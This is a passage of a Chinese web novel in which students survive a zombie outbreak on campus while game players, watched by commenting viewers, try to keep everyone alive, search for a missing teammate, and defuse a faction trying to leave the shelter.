宿舍楼下,保安样貌的丧尸和教师样貌的丧尸在院子里僵硬地游荡着,脖子侧面被咬空了,血肉往下悬挂,嗓子里损坏的声带不停颤动、发出低沉的嘶吼,凭靠听觉寻找活物。 走进来的校医停住脚步,不禁红了眼眶。 温知初低声问:“认识?” 校医露出苦涩的笑:“都认识。” 以往鲜活的人变成了这幅模样,他不忍再看,走到前面带路:“我住在三楼。” 因为适才的光景他还有些恍惚,下意识地要走电梯道,屈孚宁一把拽住他:“这种时候,坐电梯和自杀差不多。” 校医猛然回神,道了声歉,改用门禁卡打开楼道门。 门刚一打开,两个丧尸猛然扑出,晏逾明一脚踹了过去,屈孚宁上前,利落地捅穿它们的脑袋。 四人沿着楼梯快速上行。 楼道间有丧尸,但很少。 校医住在306,三楼的走廊意外得干净,没有任何丧丧尸,但306对面的房间里发出剧烈的声音。 305里面有东西在不停地用力地撞门,它显然听到了对面的声音。 温知初:“这什么声音?” 屈孚宁:“应该是有人在尸变前把自己锁在了宿舍,丧尸化后不会开门了。” 丧尸的眼睛贴在305的猫眼上,急切地撞着门。 在这“砰砰砰!”声中,校医终于打开了门。四人进去,门被阖上。 门内,校医的宿舍和外面的丧尸世界相比,是截然不同的温馨。 屋子里暖和,散发绿植的香气,物件井井有条。 丧尸潮爆发已经十二天了,地上的扫地机器人还有电,听到有人回来的动静,缓慢地爬行到门口。 已然是下午三点。 这种温馨让一直紧绷的神经放松下来,校医看到家,几乎要哭了。 校医:“先休息一个小时吧,我给大家准备点儿吃的。” 晏逾明走到沙发处,直接坐下。 屈孚宁走到电视机前,研究怎么开电视。 校医从房间里出来,拿了跌打喷雾和消毒药递给温知初:“班长,你重新处理处理。” 温知初道谢后坐到沙发上,拆开绷带,重新处理伤口,换上新的绷带。 恰在此时,手腕上的终端再次亮起。 [已和Q对接上信号。 ] 出现的瞬间,信号随即断开。 [对方主动断连了信号。 ] 断开的信号并没有停歇,不断闪烁着,开始连接和断连的循环。 [已和Q对接上信号。 ] [对方主动断连了信号。 ] [已和Q对接上信号。 ] [对方主动断连了信号。 ] [已和Q对接上信号。 ] [对方主动断连了信号。 ] …… 终端发烫,温知初站起身,举着手腕往外走,走到客厅靠窗、信号较好的地方,推开窗户。 [已和Q对接上信号。 ] 这次,终端没有断掉连接,“叮”得一声后,光屏弹出信息。 温知初定住了脚步。 Q:[对不起。 ] Q:[对不起对不起对不起对不起。 ] Q:[对不起对不起对不起对不起对不起对不起对不起对不起。 ] Q:[对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起…] 大面积的对不起涌入光屏,几乎看不到头,不停地占据光屏,几乎是精神污染。 身后传来脚步声,晏逾明走过来,显然是因为听到了终端传来的接连不停的信息声。 受限于人物设定,他不可能平白无故地靠近班长。 他走近,站在温知初身后,借着关窗这个动作,垂眼望向了温知初的手腕,顿住脚步。 两人的想法不谋而合。 发消息的真的是邱任望吗…为什么…会发出这么异常的消息? 晏逾明略微皱眉,用手盖住了她手腕上的终端:“别看太久,对精神不好。” 温知初因为耳畔的声音移开了眼。 “咔哒”一声,窗户被副班长给彻底关上了。 他对温知初说:“别开窗。” 温知初望着光屏上再次断掉的信号:“为什么?” 晏逾明漫不经心地回:“我冷。” 校医正巧走出来,冷吗,他看了眼温度仪上显示的温度,室内温度20度,很舒适。 他走到屈孚宁旁坐下,放下切好的水果,问:“班长和副班长是不是关系不太好?” 屈孚宁拿起电视遥控器:“也许吧。” 第45章 Q发来的信号断了后, 没有再连上。 温知初静默地盯了几秒,颀长的手指动了动,放下手腕,走回客厅,在屈孚宁右侧的沙发坐下。 坐定后, 目光落在电视屏幕上。 电视已经被打开,蓝白色的雪花噪点在屏幕上无声跳跃,屈孚宁一边嚼着食物,一边调遥控器。 频道数字依次变换, 画面始终不变。除了雪花, 还是雪花。 调了几十个频道后,终于不是雪花了。 屈孚宁:“这是什么。” 屏幕上的是一幅定格的圣父救世图,画面静止不动,缓慢播放着低沉的经书诵读声。 四人盯着电视,等待了一会儿,这个频道始终如此,没有更多的变化。 继续往后调,已经调到第124个频道了, 除了雪花就是这个定格的圣父救世图。 屈孚宁用手抵了抵厚重的眼镜框,皱眉:“这个时候放这种图有什么用…” 校医:“可能是抚慰还能连接到频道的观众吧,现在这个情况,估计电视台也没人了,地面站很大可能也损坏了,没有能力播放更多的内容了。” 屈孚宁:“我信佛。” 校医:“……” 频道已经调到了502号, 依旧全部都是雪花频,屈孚宁放下电视遥控器,干脆放弃了。 校园内已然如此, 校园外肯定也没好到哪里去,地面信号站根本没有人维护,能收到正常的频道就怪了。 温知初接过遥控器,身体半倚在沙发上,耐心地调着频道,视线时不时扫过手腕上的终端。 雪花频、雪花频、雪花频、雪花频…还是雪花频。 校医看频道都快看困了,雪花频接踵而来,频道到了909,一个平常用来播放彩票号码的频道,雪花闪了闪,竟然出现了图像。 校医立马坐直:“有画面了!” 909号频道,画面闪烁不定,一段时间后稳定下来。镜头对准的是校园外的情况,办公大楼、商场、居民宅、各国、各地全都沦陷了,丧尸在街头游荡,火光和浓烟弥漫… 背景的播报人音急迫而虚弱,混杂着警报声,显然是在仓促下录制的。 “各位观众,这里是A国紧急新闻播报。今天是3046年3月6日,我们正面临人类历史上最严峻的危机——全球丧尸潮全面爆发。目前,丧尸病毒已无法压制,全球各地均出现大规模感染,我们正处在一场前所未有的灾难之中。” 电视的画面切换成一张地图,上面标注出丧尸潮爆发的重点区域,用红色深浅来标注严重程度。 “现在的播报虽然是录制后的循环播放,但请各位民众不要绝望!救援力量已经启动,并将按照地图上的辐射区域依次展开救援。救援队伍将从安全区向外推进,逐步覆盖所有受灾区。请大家务必保持冷静,耐心等待救援。” “救援力量不会放弃任何可以营救的可能,也请各位市民不要放弃任何被营救的希望,我们已经出发,请等待我们!” 画面切换至救援队伍,涵盖医护人员、军队和志愿者,虽然镜头摇晃,背景浓烟阵阵,但起码是一种希望。 “在此期间,请民众务必做好防护,储备足够的食物、水和药品,减少外出,尽量待在家中,避免接触感染者。” “请记住,你们并不孤单。全球救援力量正在行动,科学家们也在全力研发解药。只要我们团结一致,严格遵守防护措施,就一定能够度过这场灾难。” “灾难面前,人类的勇气和智慧从未被击败。请相信,黎明终将到来。这里是A国紧急新闻播报,我们将尽力更新最新情况。请保持希望,保持警惕,我们与你们同在。” 此话落幕,电视频道再次闪回刚才的雪花,顿闪之后,开始循环播报刚才的视频。 “各位观众,这里是A国紧急新闻播报。今天是3046年3月6日…“ 晏逾明淡漠地望着电视频道,兴致缺缺,像是觉得这些救援之说只是狗屁。 校医蹲到电视前,把电视上的救援地图拍下来了,拿回来放大,寻找他们现在所在城区的标记点。 他指着手机的画面:“如果按照他们所说的进度,等救援来到我们这个地方的时候,最早也是…一个月之后了。” 晏逾明冷笑了一声:“来的时候,人估计都死光了。” 温知初看向副班长,晏逾明略微扬起下巴,语气懒散:“班长,我难道说错了?” 温知初冷淡地收回眼。 校医打圆场:“再怎么说,救援队也不容易,反正也是个希望…希望。” 他说的时候,语气虚到自己都不信。 温知初看了眼桌上的电子钟:“下午四点了,不早了,我们该开始收拾物资,准备回去了。” 四人迅速行动,把罐头、压缩饼干、高热量零食、冰箱里的余粮、消毒用品等所有能用到的药物和食物都装进背包,直到四个大背包全都塞得满满当当。 等他们收拾完,已经快六点。 四人席地而坐,各自拿着三明治当作晚餐,沉默地吃完,校医拍了拍裤子,率先站起身:“我们回去吧。” 运气好的话,十点前他们能到游泳馆。 四个人都站起了身,屈孚宁低下头,厚重的刘海遮住了他的眼睛,神色有些不对劲。 他突然开口:“我不回去了。” 其余三人因为这突兀的话语全都望向他,校医惊讶地问:“小屈,你…什么意思?” 屈孚宁:“我想留在这里。” 他的话语冷酷到接近残忍:“比起去游泳馆,我觉得留在这里的存活率要大很多,我不会跟你们回去的。” 他说这话的时候,面部肌肉略微抽搐,显然是因为人物设定而说出的托辞。不过语气坚定,是绝对不可能改变的决定。 校医还想再说什么,屈孚宁背过身,往里走:“班长,我的背包给你,你把这些都带走,剩下来的东西够我活一段时间了。” 校医:“就这么点食物你能吃多久,你还是跟我们一起走,团队总是好的…” 屈孚宁:“这栋楼不止你这个房间,比起团队活动,我更喜欢一个人待着。” 接近无情的拒绝,让整个房间陷入了寂静。一段沉默后,屈孚宁开口:“班长,你们离开之前,我有话和你说。” 温知初顿了顿,视线在他脸上停留片刻,略微点头。 两人去了阳台,阳台挺小的,两人站着,空间就满了,周围摆满了盆栽,外面末世残破,这些盆栽倒是依旧盎然。 屈孚宁望向她:“班长,我真的没办法回去。” 温知初知道他的意思,她摘下自己手腕的终端:“你把我喊过来,是不是因为这个?” “对。”屈孚宁接过终端,扣在自己手腕上,“既然我回不去,我在外面,起码得找找看能不能联系得上邱任望。” 他看到了光屏上大片的信息,截图发到了TRES的群里。 温知初:“他那里出问题了,得尽快找到他在哪里。” 屈孚宁嗯了声:“我现在留在这里,尽量定位他到底在哪里,如果人物设定允许,我就去找他,如果不行,找到他的位置后,我联系你们,你们再去找他。” 两人站在夕阳的余晖里,天色逐渐暗下来,他们的影子被斜斜地照在地上,温知初的侧脸被镀上一层昏黄的光。 屈孚宁低声道:“不过我相信他能应付得来。” 邱任望毕竟是TRES的一员,不是什么随意就能摧毁的存在。 与此同时,距离这个阳台一千米开外的游泳馆。馆内,又开始发生了一些挣扎。 场馆中央传来争执声,伴随椅子被踹倒的闷响,愤怒的叫骂声此起彼伏。 几个学生远远地避开纷争,跑到东门那里蹲着。 “体育部的那些人有病吧,班长带人出去找物资,他们趁着班长不在开始在这儿闹。” “他们闹什么啊?” “还能有什么…说他们自己也想出去呗。” “不是,他们是胆子大还是有什么别的目的,十几个人怎么跟中了魔一样的想出去,这不科学啊,如果一两个人胆子大还能解释,一群人胆子这么大,肯定有人被…” “我懂你的意思,体育部里肯定有人在教唆。” 几人不解地对视。 “我上次听见了,好像体育部里有人承诺外面有安全的地方可以等到救援。” “真的假的?” “谁知道呢?但我觉得肯定是假的,就算不是假的,也肯定也有夸大成分,谁能提前知道救援会不会来、什么时候来啊?” 场馆中央,有高昂的男生怒吼声响起,还有踹卷帘门的声音,闹得场馆外的丧尸不停地激动地朝这里聚拢而来。 “他们是不是疯了,外面现在全是丧尸,班长他们怎么回来?” 有人深吸一口气:“说实话,有的时候我真的倒是希望他们走,团队里有这样的人存在,就是不稳定的危险因子。” “要不等班长回来,我们干脆一起商量着直接让他们离开吧。” “说实话,我们又不是打不过他们,只不过是不想再把力气浪费在这种事上。” “班长在的时候,他们起码不会这么嚣张。” “班长什么回来?” “应该快了吧…等等,外面有动静,是不是班长他们回来了?” “真的活着回来了?” “班长回来了?” 三人、四个背包,确实遁着夜色回来了。 他们六点钟从教室宿舍出发,一路颠簸而来,现在已然是傍晚十点半。 距离TRES来到这里的日子,终于过去了两天,再熬过两天,如果三十三人全都存活,他们才能从这里离去。 不…是三十四人。 还有一个行踪不定的邱任望。 四人按照原路,翻到了游泳馆二楼的管理室里,管理室里没有灯,他们腰间的手电筒的光线在房间里晃动着。 校医最后一个爬上来的,艰难地落地,浑身都是汗。 这一天,他感觉自己像是在外面度过了一年。 他们离开之前,从里面把管理室的门锁上了。 此时,门外传来脚步声,有同学从外敲门:“你们回来了吗?都还好吗?” “拿到食物和药了吗?” “没有出事吧?” 房间内的三个人视线交汇。 屈孚宁没有回来这个事实,可能会引起一些变化,所以没必要把这件事的真相说出来。 校医看了眼门,低声道:“就说小屈在外面遇到危险…” 晏逾明:“遇难?” 校医欲言又止地点头。 晏逾明:“我们三个不像。” 校医看了看自己,又看了看其他两个人。 虽然这次出来遇到不少麻烦,但是除了他之外的三个学生意外得极其善于和丧尸斗争,所以总体来说没人受很严重的伤,就算衣服上全是血,也不是他们自己的血。 这样不行。 人性是微妙的。 这次平安归来,大部分人都会怀有感恩之情地感谢他们,但也会有人可能会以此为由、要求他们出去做更过分的事、冒更大的风险。 所以,就像在职场要适度地邀功一样,现在这种状况,他们应该也要适度地…表达自己遇到了一些风险。 同时也让屈孚宁遇难更显真实。 晏逾明和校医都望向了温知初的膝盖。 温知初:“……” 校医:“班长,你既然受伤了,其实可以表现得明显一点,比如装作走不动了,让人背你…” 晏逾明走到温知初面前,高大修长的身影弯下,脊背宽阔,骨节分明的手指向自己的后背:“上来。” 背…要背她吗… 温知初视线晃动…心境不知是出自班长还是她本人,摇晃不定。 门外的学生们等了一会儿,终于听到了门锁转动的声音。 门被推开。 校医率先走出来,神情不太好,嗓音疲惫:“同学们,我们回来了…” 随后,晏逾明走了出来。 昏暗的光线里,他背上背着一个人,温知初纤细的手臂虚虚地搭在他的肩上,侧脸贴在他的后颈的衣领处,长发垂落,她的校服上沾满了血。 双眼闭着,唇色苍白,像是失去了意识。 温知初的腿上绑着染血的绷带,晏逾明单手托着她的膝弯,另一只手稳稳扣住她的小腿,掌心贴着布料,骨节分明的手指略微收拢,是一种不会让被背的人难受的稳固姿势。 有同学上前,赶紧问:“班长没事儿吧?” 晏逾明语调平淡:“晕过去了。” “那、那屈孚宁呢?”有七班的人问。 晏逾明:“死了。” 第46章 十二点的钟声在游泳场馆内不停荡响着。 食物的到来,让场馆内的气氛稍微好了些,体育部也暂时不闹事了,跟着一起坐下吃东西,但是出去四个人,回来只有三个人这件事实,冲淡了有新物资到来的欣喜。 体育部的那些人吃完东西,活动着脖子,还是在商量出去的事。 内部已经有人不想出去了,有人道:“外面那么危险,七班那个出去之后就没来了,救援不一定真的会到,要不我们就留在这里吧,现在已经有食物了,我们没必要再出去…” 他的话因为李奂壬看过来的、过于凶狠的眼神停住。 李奂壬用手捏了捏他的脖子,手劲儿十分大:“不都说好了出去的吗,别这时候给我打退堂鼓啊。” 他道:“你们就真信那个七班的死在外面了,有证据吗?为什么不可能是他觉得游泳馆外更好,就留在外面了呢?如果让我们出去找物资,你们愿意背着大包小包的,冒着生命危险再回来吗?” 几个人交换着眼神,这话确实没错… 李奂壬身后有个长得很白的男生也开口:“有关救援…你们也知道我叔叔是市议长,我保证他会派人来这儿接我,之前你们也听到他属下给我打的电话了,怎么还不信我呢?” 李奂壬勾住他:“是啊,你们不信我,还不信这位陈公子吗。” [这个陈付讫说到是真的吗? ] [我赌200个欢乐豆李奂壬和他身后的陈付讫都是敌方的。 ] [不一定,说不定和上一轮的陈里阳一样是纯坏。 ] 有人问:“刚吃了他们带回来的东西,现在我们再闹着出去,是不是有点儿…” 李奂壬打断他的话:“吃饱了休息会儿,等天亮了出去。” 陈付讫:“今天我叔叔派的救援队肯定会到,白天我们一定要出去,再不出去就来不及了,你们想一辈子留在游泳馆的话,我也不会再劝,反正越少人走,越方便。” 几个人立马道:“带上我们…带上我们…” 李奂壬勾着陈付讫的肩膀,两人皮笑肉不笑:“当然。” · 校医他们回来后,临时医务室的陈玉清服了药,内出血的症状被控制住,三小时后,高烧完全退了下来,可惜没有足够的医疗环境进行输血,目前只能尽量静养。 温知初不在临时医务室内,她被背到了对面的房间内休息。 因为晕倒,她暂时无法出去,待在房间里闭目养神。 黑暗中,她静静地躺在床上。 [小温也真的该休息了。 ] [她都多长时间没休息了…] [我要是她,我现在能直接睡到第四天…] 外面天色还黑漆漆的,凌晨一点、凌晨两点、凌晨三点、凌晨四点、凌晨五点… 温知初睁开了双眼,她撑起上半身坐了起来,月光从窗户缝隙透进来,洒在了她的前额上。 她坐直身,有了一刹那,她似乎忘记了自己身处在哪里,机械性整理衣服,直到摸到锁骨前的军牌,她愣了愣,站起身。 修长的手指摸了摸军牌背面的照片,她将灰绳塞进衣襟内。 她推开门,轻声走到临时医务室内,房间内昏暗,校医伏在桌子旁睡着了,陈玉清也躺在拼成的床上,睡得还算安稳。 温知初走到床前,摸了摸陈玉清的额头。 不烫了。 她走出去,拿了两个毯子回来,各披到了他们两人的身上,再次轻声走出去。 距离他们能脱离这里的时间,还有41h。 三十三个人都还存活着。 时间在静谧中,比想象中要过得快些。 没了体育部的闹腾,凌晨都吃饱了的学生们分散在各处、睡得很深,紧闭的窗户让大家不分昼夜,大家睡得普遍很晚,起来得也很晚。 有起身的动静时,已经是中午十二点以后了。 距离TRES脱离这里,还有34H。 但体育部的人想离开游泳场馆,是一刻都等不了的,吵闹声和争执声隐隐约约从一楼再次响起,体育部的人想直接从东门硬闯出去,其他学生拦在柜子前,不让他们出去。 不过这次体育部的动静和前几次不同,有股一定要出去的狠劲儿,大包小包都背上了,拿起剪刀就要剪捆着门和柜子的绳子。 “卧槽,你们是不是把我们的物资也带上了!” “要不要脸啊,赶紧放下来!” 太吵了,三班学委卢文于皱了皱眉,他还没睡醒,想找个安静的地方继续补觉,他拿起衣服,朝一楼的仓库走。 走到门前、手已经按到门把手了,这才想起来仓库早就被班长锁住了,根本打不开。 他转身离开的时候听到了点动静,揉了揉眼睛,四处看了看,没找到动静的来源,低头看了眼,发现是自己踩到地上的易拉罐了。 他沿着走廊离开,准备去找班长拿钥匙。 到了场馆中央,这才发现大家全都聚集在一起了,围着班长说着些什么。 体育部那些人的包被其他同学拦截下来,搜出里面属于大家的物资,全都拿出来,重新摆在地上。 “班长。”同学们说,“要不然就让体育部的那十三个人直接离开吧,他们真的好烦,本来没有多大矛盾,他们每次都要闹。” “我真的搞不懂为什么他们一定要出去,但既然他们无论如何都想出去的话,干脆让他们走得了。” 温知初瞥了眼地上的背包,也望向体育部的那些人。 李奂壬依旧嬉皮笑脸的:“班长,你看到了,大家也希望我们走。” 温知初:“就算不让带走任何物资,你们也一定要离开?” 李奂壬身后有人开口:“物资我们肯定也是要…” 李奂壬打断了他的话:“食物这些东西,我们出去自己也能搜集的到。” 他身后的体育部成员神情犹豫,不过没有再说什么,比起这些物资,他们确实该尽快出去了,要不然真的如同陈付讫所说,可能会错过救援队。 李奂壬:“无论如何,我们现在都要出去。” 其他同学:“班长、要不然就让他们直接出去吧…我们双方再这么闹下去,别外面的丧尸没有把我们怎们样,内部反而斗殴受伤。” “是啊,班长,我赞同,干脆现在就投票,谁愿意让他们走的,举手。” 此话应下,将铭立马道:“人都没有齐,怎么投票…” 这话显然说晚了,因为全场站着的同学里,除了温知初和将铭,全都举手了,哪怕是并非自愿的章诎。 李奂壬:“体委,班长?这可是投过票了,够民主了,可以放我们出去了吧?” 人群中的章诎和将铭交换了一个眼神。 不行。 这时候他们出去的话… 但是剧情的去向一发不可收拾,没有符合剧情逻辑的理由,体育部的这这十三个人,看起来是非出去不可了。 作为班长,温知初没有再阻拦:“物资留下。” 体育部的人朝东门走去,已经开始去东门推柜子了,现在东门的丧尸相对还少,正是出去的好时候。 体育部内,其实还有胆小的人,搬柜子的动作很慢。 陈付讫:“这么高个子怕什么,他们四个人都能出去,我们十三个人呢。” 大家的动作更快了些。 将铭在原地踱步,皱了皱眉后转身,想去找班长说些什么,却发现温知初的身影不见了。 [怎么办啊…这拦不住啊!] [是啊,敌方不管是谁,剧情的势都已经起够了,现在肯定会带着这些人出去。 ] [我不相信外面有什么救援队,电视上都说了救援得一个月后才来这片城区,他们肯定带这些人去送死的。 ] 柜子已经被挪开了,玻璃门外,丧尸数量确实相对较少,正午的日头,让这些丧尸的行动比夜晚要缓慢些。 李奂壬已经拿着锁在开了,他举起食指,“嘘”了一声,让身后的部员不要发出动静,尽量放轻声,以防远处的那些丧尸被动静吸引来。 “咔哒”一声,门链子的锁被打开,李奂然拿着链子锁一圈一圈地往外绕,门快要开了—— “啊啊啊啊啊啊——!” 场馆中央传来突如其来的尖叫声,撕裂了此刻的安静。 “丧尸!” “有丧尸!” “谁把丧尸放进来啦!” “体育部的那些人到底在干什么,为什么游泳馆里会有丧尸!” 游泳池旁,从馆内的阴影处,十几个丧尸猛然出现,不知是从哪个方向钻出来的,嘶吼着立马冲向了这些年轻而新鲜的血肉。 它们的声带因为毁坏只能发出嘶吼声,眼球灰白、嘴唇翻裂,脸和脖子那一块基本都是被咬空了的、血肉吊着的状态,狂暴地扑向惊慌失措的学生们。 “啊啊啊!!” “救命!救命!” 学生们拼命四散奔逃,有人直接跳进游泳池里。 然而有只丧尸竟然也跟着跳进水里,它们会游泳!学生们吓得连忙往岸上跑。 “场馆里哪来的丧尸啊!” “体育部那些人是不是疯了,我们得赶紧去把东门关了,明显是他们要害我们,故意把丧尸放进来的!” 但显然这次,体育生们是真的被冤枉了。 因为东门的方向,也有丧尸狂奔而至,歪歪扭扭的步伐带着势不可挡的冲势。体育生们本来准备出去,被身后的动静吓了一大跳,快要以为自己在做梦。 他们人还没出去呢,怎么场馆里倒是蹦出丧尸了! “操!里面哪来的丧尸!” 李奂壬和陈付讫大声喊:“大家趁着这会儿,往外逃!” 可现在谁还敢往外逃啊,玻璃门外的丧尸听到了场馆内的动静,已经堵了过来。 事情发生在瞬间,体育生们夺过李奂壬手上的锁,立马把东门的链子给重新挂上,来不及封什么柜子了,连忙往场馆里面逃。 几个四班的学生飞奔过来,立即合力把柜子重新堵上,朝这些人吼:“你们干什么?!是不是你们把丧尸放进来的?!” 体育生们一边躲着丧尸一边吼回去:“操,你们说什么,我们连门儿都没出,怎么就成了我们放进来的!” “门不是你们打开的吗!我告诉你们,你们完了,想害我们?没门儿!你们这辈子别想出去了!” “你们他妈的到底在说些什么!” 争执的对话根本无法完成,学生们躲着丧尸,四散着离开柜子横七竖八的东门,一路狂奔。 “啊啊啊啊——!” 一个体育生发出惊恐的喊叫,猛地摔倒在地。他手里拽着一根扫把,奋力把它插进丧尸张开的嘴里,木棍“咔嚓”一声,死死地卡在了丧尸的喉咙里。 腥臭的血水顺着扫把杆滴落,丧尸扭曲着脸,疯狂地撕咬着木棍,每一下都像是要把他的手一同咬碎。 “救…救我…” 他惊恐地朝最近的李奂壬求助,脸上布满冷汗。 但李奂壬只是冷冷地看着的,眼神展露出某种之前一直隐藏得很好的怨毒,似乎很希望他立刻死于丧尸的嘴下。 [李奂壬绝对是敌方。 ] [他绝对不会救他的。 ] 从这一刻起,这名体育生终于意识到,他们所谓的“出去找救援队”根本就是个骗局。 “咔嚓。”扫把杆断裂。丧尸张开的血口,向他扑来。 千钧一发之际,一道身影猛地冲了过来,狠狠一脚踢开了那只丧尸。 是将铭。 “别愣着,快起来!” 场馆里,十几只丧尸,才被学生们艰难地合力杀了两个。 地上满是血污,几个人拿起灭火器砸向丧尸的脑袋,红色的液体混着黑色的腐肉喷溅而出,他们一边干呕一边闭着眼睛使劲儿砸。 “呕…呕…” 另一名学生举起折叠椅,拼命地砸向一只扑过来的丧尸。 椅子腿卡在丧尸的肩骨里,嘶吼的嘴依旧朝他咬来,那人吓得踉跄着往后跑。 不少人都是第一次直面地去对丧尸动手,和电视上演丧尸片不同,杀丧尸和杀同等体型的食肉动物差不多难,根本一点都不轻松,作为普通的学生,他们半个小时才能合力解决一个丧尸。 章诎像是明白了什么,拉住了将铭,没有让他继续主动杀丧尸,除非丧尸快要伤害到人的时候,他们才动手。 这些学生、尤其是之前想着要离开场馆的体育生们,面对仅仅十几个丧尸,已然感觉到狼狈而竭力,原本还算安逸的游泳馆,全然是尖叫声,地上一片狼藉。 面对这些非人的东西,人类的本能是趋利避害,恐惧让他们无法理智,只想着逃避、逃跑。 这才是十几个,那么外面数十个、数百个、数千个…跑出去,真的可能吗? 绝对不可能。 这种恐惧,会让他们老实地待在游泳馆内。 内部危机被转移成需要一致对外的外部危机。 [到底是谁放进来的这些丧尸?真的是体育部的那些人吗? ] [不是啊,我刚才看到了,体育部的那些人还没出门呢,场馆内就跑出一大堆丧尸了。 ] [场馆里面怎么可能有丧尸? ] [谁放出来的? ] [我切全景…好像是从仓库里跑出来的。 ] [仓库?仓库不是被班长锁起了嘛? ] [等等…你们还记得之前小温说做了一件事,但是无法和其他队员交代吗? ] [啊!西门!之前那个西门的真凶! ] 三班的学委也在人群中抵抗着丧尸,如果他也像弹幕的观众一样能有上帝视角,他会想起上次东西门之乱时,最后一个赶来他身旁的班长,是从仓库来的。 也会明白今天他在仓库外听到的动静,根本不是因为他自己踩到了什么易拉罐。 此时,一直锁着的仓库,终于打开了。 昏暗的仓库内,温知初屈身弯腰,在给最后一个丧尸解开绳子。 她撕开丧尸脸上的胶带,锯断的绳子掉落于地,丧尸从地上僵硬地站起来,被踹出了仓库门,踉跄着朝人群尖叫的地方冲去。 仓库的地上,一地都是沾血的长绳。 温知初站在仓库中央,深黑的双眼平静地往外看。 第47章 仓库外,一片混乱。丧尸的嘶吼声、打砸声、呼喊声、四处奔跑的脚步声在场馆里此起彼伏,像暴风雨砸着棚子般喧嚣不断。 时间一分一秒地被拉长,学生们艰难地围杀丧尸, 还剩下六个。 大家实在太累了, 暂时先躲到密闭的房间里, 关门, 准备休息会儿再处理剩下来的丧尸。 已经是下午五点, 天色陷入黄昏。 距离TRES能离开这里,还有29个小时。 三十四个人, 目前全都存活。 TRES在确保所有人都安全的情况下,故意没有对场馆内的丧尸动手,让这场混乱将矛盾转移,拖延更长的时间。 最有可能出来救人的班长把自己反锁在仓库里,一直等到快七点的时候, [注意关键事件节点]的声音再次响起,她才起身,走出仓库,踏进走廊。 傍晚的光线穿透场馆天棚的玻璃, 映照灰尘弥漫的地面,投下斑驳的光影。 与此同时,温知初手指上的终端亮了。她停住脚步,借着走廊昏暗的光低头看。 是屈孚宁发来的消息。 孚:[找到邱任望的定位了。 ] 光屏闪烁了一下, 对面传输的地图投影出来, 定位点微弱地不停跳动, 最终落在校园西南部的综合楼中。 孚:[更精确的位置没办法进一步定位,只能确定人在这栋楼里。 ] 温知初望向这个微弱跳动的红点。 孚: [我的人物设定活动受限,无法离开教师宿舍楼。 ] 孚:[邱任望一直在给我发放开我的文字短信, 无法正常沟通,我觉得他可能真的遇到点困难了。 ] 孚: [你们之中有人能脱离剧情的,最好去找一找他。他可能不是受限于人物设定困在什么地方,而是真的遭遇比较严重的意外。 ] 光屏暗了下去,温知初抬眼,透过窗户的缝隙望向场馆外的夜色,沉默地皱起眉。 黄昏的余光被吞噬殆尽,夜幕已然降临,黑暗在废弃的教学楼之间静默流淌,像是一张巨大无形的网,笼罩住整个学校。 温知初抿了抿唇线,转身,重新回去。 她走回仓库,拎起地上的背包,斜挎到肩上,推开门,加快脚步走出走廊。 场馆内的学生们大部分都躲在房间里,六个丧尸缓慢地在一楼游荡,没注意到几乎算是掠过去的温知初,她跑向二楼。 [注意关键事件节点:营救同学邱任望。 ] 台阶上,温知初停住脚步。 [什么意思?邱任望发生什么了,用得上营救这个词? ] [不是,我不相信<深渊>会这么好心,会让TRES去营救队友。 ] [怎么感觉像个陷阱。 ] 就算是个陷阱,TRES也必须要去,不可能把疑似要出事儿的队友留在外面。 温知初扣上卫衣兜帽,遮挡住照在脸上的光影,走向管理室,推开门,TRES的其他人已经在里面等她了。 章诎,将铭,晏逾明。 时间不多,长话短说。 四人目光交汇,沉默间已经明白了彼此的想法。 晏逾明盯向温知初。 将铭:“西门…你做的?” 温知初抬眼,略微颔首:“嗯。” 晏逾明散漫地提起唇角,笑意意味不明。 “做得很好。”章诎由衷道,“想的…很周全。” 对于这方面的褒奖,温知初不会谦虚:“谢谢。” 晏逾明望向温知初身后的背包:“去找邱任望?” 温知初:“这里应该只有我一个人能出去?” 只有班长会有这么无私的精神。 将铭点头:“是。” 温知初:“屈孚宁给我发了定位,邱任望在综合楼里,无法确定具体定位。” 必须尽快出发,到综合楼后,还得一层一层排查,时间很紧凑。 温知初简短地道别:“时间来不及,我先走了。” 说话间,她已经推开窗户,跨上窗沿。 “注意安全。”身后传来声音,不知道是谁说的。 温知初背着身比了个ok ,从二楼往下翻,三人往下看,温知初的身影轻声落地,斜挎着背包,往夜色更深处离去,遁入丧尸群中,消失在拐角处。 · 已经是晚上十点。 当夜晚十点的钟声响起,这表示,TRES在这里的第三天终于落幕。 距离TRES能脱离这里,进入24H倒计时。 每一分每一秒,都代表生死的竞速。 [第一轮SS赛是总共历时两天是吧,出去后他们这种S级的队员都出现了很多不良状况,精神力受损严重,现在已经三天了,还得熬一天…] [如果真的能出去的话,不敢想象他们的精神力会损耗成什么样子… ] [先考虑眼下的事吧,TRES还剩下至少七个小时左右的“脱离剧情”时间…起码可以保证最后半天场馆内的局势是可控的,敌方如果还想引起暴乱,直接放到最后七个小时绑起来就行。 ] [我现在很担心综合楼那里啊…] 凌晨的钟声响起,场馆内的所有丧尸被清杀完,空气中弥漫令人作呕的腐臭味,原本光洁的地板上全是碎裂的椅子、玻璃,还有大片凝固未干的血污。 丧尸的腐臭味太过刺鼻,一群人把尸体拖到仓库里,隔绝气味。 竭力消耗这么长时间,学生们没有精力再争吵,只想吃饭和休息。 没有人再提出要离开游泳馆。 仓促吃完饭后,大家还算有序地开始清扫游泳馆,要不然等会儿休息都找不到块干净地方。 李奂壬拿着扫帚,有一下没一下地扫着同一个地方,显然消极怠工。 其他体育生们依旧忌惮他,远远地避到一旁。 他走到人群中,朝将铭问:“学委,班长呢?” 其他学生也注意到温知初不见了:“班长呢?” 将铭收拾着桌上的东西:“她受伤了…暂时在休息。” “受伤了?休息这么久也该出来了吧。”李奂壬拉长声音,“没有被咬吧?” 晏逾明:“你很关心?” 李奂壬:“关心班长不是很正常的吗?” 晏逾明望向他,淡漠地垂眼:“那这位同学,要不要我带你去楼上,一起去看一看班长?” 李奂壬犹豫了会儿,最终冷笑一声:“算了,还是先不打扰班长休息。” 花了一个小时左右,场馆中央才被收拾得能落脚了,小灯被关闭,在凌晨的寂静中,大家拖着疲惫的身体,相继找地方休息。 二楼的管理室里,章诎和将铭聚在一起,晏逾明站在窗前,若有所思地往外看。综合楼是校园里第二高的建筑,有六层,透过窗户能看到综合楼的灯还亮着。 看起来挺近的,其实有一段距离。 温知初应该已经到综合楼了。 现在应该排查过不少房间了…她现在在第几层? 一层、二层… “来了。”将铭开口。 光屏亮起,消息来了。 